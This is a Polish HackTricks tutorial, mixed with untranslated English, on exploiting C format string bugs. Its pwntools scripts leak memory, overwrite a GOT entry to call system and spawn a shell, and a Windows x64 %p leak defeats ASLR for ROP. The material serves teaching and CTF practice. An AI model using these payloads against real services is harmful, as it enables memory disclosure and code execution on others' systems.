Format Strings
Reading time: 11 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
W C printf
jest funkcją, którą można użyć do wypisania łańcucha znaków. Jako pierwszy parametr ta funkcja oczekuje surowego tekstu ze specyfikatorami formatu. Zaś kolejne parametry to wartości, które służą do podstawienia specyfikatorów w surowym tekście.
Innymi podatnymi funkcjami są sprintf()
i fprintf()
.
Luka pojawia się, gdy tekst kontrolowany przez atakującego jest użyty jako pierwszy argument tej funkcji. Atakujący będzie w stanie przygotować specjalne wejście wykorzystujące możliwości printf format do odczytu i zapisania dowolnych danych pod dowolnym adresem (umożliwiającym odczyt/zapis). Dając w ten sposób możliwość wykonania dowolnego kodu.
Specyfikatory:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Przykłady:
- Przykład podatny:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normalne użycie:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Z brakującymi argumentami:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf podatny:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Dostęp do wskaźników
Format %<n>$x
, gdzie n
jest liczbą, pozwala funkcji printf
wybrać n-ty parametr (ze stosu). Więc jeśli chcesz odczytać czwarty parametr ze stosu za pomocą printf
, możesz zrobić:
printf("%x %x %x %x")
i odczytałbyś parametry od pierwszego do czwartego.
Albo możesz zrobić:
printf("%4$x")
i odczytać bezpośrednio czwarty element.
Zauważ, że atakujący kontroluje printf
parameter, which basically means that jego dane znajdą się na stacku, gdy printf
zostanie wywołany, co oznacza, że może zapisać konkretne adresy pamięci na stacku.
caution
Atakujący kontrolujący to wejście będzie w stanie dodać dowolne address in the stack and make printf
access them. W następnej sekcji wyjaśnione zostanie, jak wykorzystać to zachowanie.
Arbitrary Read
Można użyć formattera %n$s
, aby zmusić printf
do pobrania address znajdującego się na n position, następnie podążenia za nim i wydrukowania go tak, jakby był stringiem (drukuje aż do napotkania 0x00). Zatem jeśli baza binarki to 0x8048000
, i wiemy, że dane użytkownika zaczynają się na czwartej pozycji na stacku, można wydrukować początek binarki za pomocą:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
caution
Zwróć uwagę, że nie możesz umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie zakończony bajtem 0x00 na końcu tego adresu.
Znajdź offset
Aby znaleźć offset do swojego wejścia możesz wysłać 4 lub 8 bajtów (0x41414141
) po których dodać %1$x
i zwiększać wartość aż pojawią się A's
.
Brute Force printf offset
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
Jak przydatne
Arbitrary reads mogą być przydatne do:
- Dump the binary z pamięci
- Access specific parts of memory where sensitive info jest przechowywane (np. canaries, encryption keys lub custom passwords jak w tym CTF challenge)
Arbitrary Write
Formatter %<num>$n
writes liczbę zapisanych bajtów w wskazanym adresie znajdującym się w parametrze %<num>$n
zapisze dowolną liczbę pod dowolnym adresem.
Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia — można użyć formattera %.<num-write>%<num>$n
aby zapisać liczbę <num-write>
pod adresem wskazywanym przez pozycję num
.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Jednak zwróć uwagę, że zazwyczaj aby zapisać adres taki jak 0x08049724
(co jest OGROMNĄ wartością do zapisania naraz), używa się $hn
zamiast $n
. Pozwala to zapisać tylko 2 bajty. Dlatego operacja ta wykonywana jest dwukrotnie: raz dla wyższych 2B adresu, i raz dla niższych.
Wobec tego ta luka pozwala zapisać cokolwiek pod dowolny adres (arbitrary write).
W tym przykładzie celem będzie nadpisanie adresu funkcji w tabeli GOT, która zostanie wywołana później. Choć można to też wykorzystać przy innych technikach arbitrary write to exec:
Zamierzamy nadpisać funkcję, która otrzymuje swoje argumenty od użytkownika i skierować ją na funkcję system
.
Jak wspomniano, zwykle zapis adresu wymaga 2 kroków: najpierw zapisujesz 2 bajty adresu, a potem pozostałe 2. Do tego używa się $hn
.
- HOB odnosi się do 2 wyższych bajtów adresu
- LOB odnosi się do 2 niższych bajtów adresu
Następnie, z powodu działania format string musisz najpierw zapisać najmniejszy z [HOB, LOB] a potem drugi.
Jeśli HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Jeśli HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Pwntools Template
Możesz znaleźć szablon do przygotowania exploita dla tego typu podatności w:
Albo ten podstawowy przykład z here:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings do BOF
Można nadużyć operacji zapisu wynikających z luki format string, aby zapisać do adresów na stosie i wykorzystać lukę typu buffer overflow.
Windows x64: Format-string leak do obejścia ASLR (no varargs)
Na Windows x64 pierwsze cztery parametry całkowitoliczbowe/wskaźnikowe są przekazywane w rejestrach: RCX, RDX, R8, R9. W wielu wadliwych call-sites ciąg kontrolowany przez atakującego jest używany jako argument formatowy, ale nie są dostarczone żadne variadic arguments, na przykład:
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
Ponieważ nie są przekazywane varargs, każda konwersja taka jak "%p", "%x", "%s" spowoduje, że CRT odczyta następny argument wariadyczny z odpowiedniego rejestru. W konwencji wywołań Microsoft x64 pierwszy taki odczyt dla "%p" pochodzi z R9. Jakakolwiek chwilowa wartość w R9 w miejscu wywołania zostanie wydrukowana. W praktyce często powoduje to leak stabilnego in-module pointer (np. pointer do local/global object wcześniej umieszczonego w R9 przez otaczający kod lub callee-saved value), który można wykorzystać do odzyskania module base i obejścia ASLR.
Praktyczny workflow:
- Wstrzyknij nieszkodliwy format taki jak "%p " na samym początku kontrolowanego przez atakującego stringa, tak aby pierwsza konwersja wykonała się przed jakimkolwiek filtrowaniem.
- Przechwyć leaked pointer, zidentyfikuj statyczny offset tego obiektu wewnątrz modułu (poprzez reversing z użyciem symboli lub lokalnej kopii), i odzyskaj image base jako
leak - known_offset
. - Wykorzystaj image base do obliczenia absolutnych adresów dla ROP gadgets i IAT entries zdalnie.
Example (abbreviated python):
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
Notatki:
- Dokładny offset do odjęcia jest znajdowany raz podczas local reversing i następnie używany ponownie (ten sam binary/version).
- Jeśli "%p" nie wypisuje poprawnego pointera za pierwszym razem, spróbuj innych specyfikatorów ("%llx", "%s") lub wielu konwersji ("%p %p %p") aby spróbkować innych argument registers/stack.
- Ten wzorzec jest specyficzny dla Windows x64 calling convention oraz implementacji printf-family, które pobierają nieistniejące varargs z registers gdy format string ich zażąda.
Ta technika jest niezwykle przydatna do bootstrap ROP na Windows services skompilowanych z ASLR i bez oczywistych memory disclosure primitives.
Inne przykłady i odniesienia
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address
fflush
with the win function (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in
.fini_array
(so the flow loops back 1 more time) and write the address tosystem
in the GOT table pointing tostrlen
. When the flow goes back to main,strlen
is executed with user input and pointing tosystem
, it will execute the passed commands.
Referencje
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.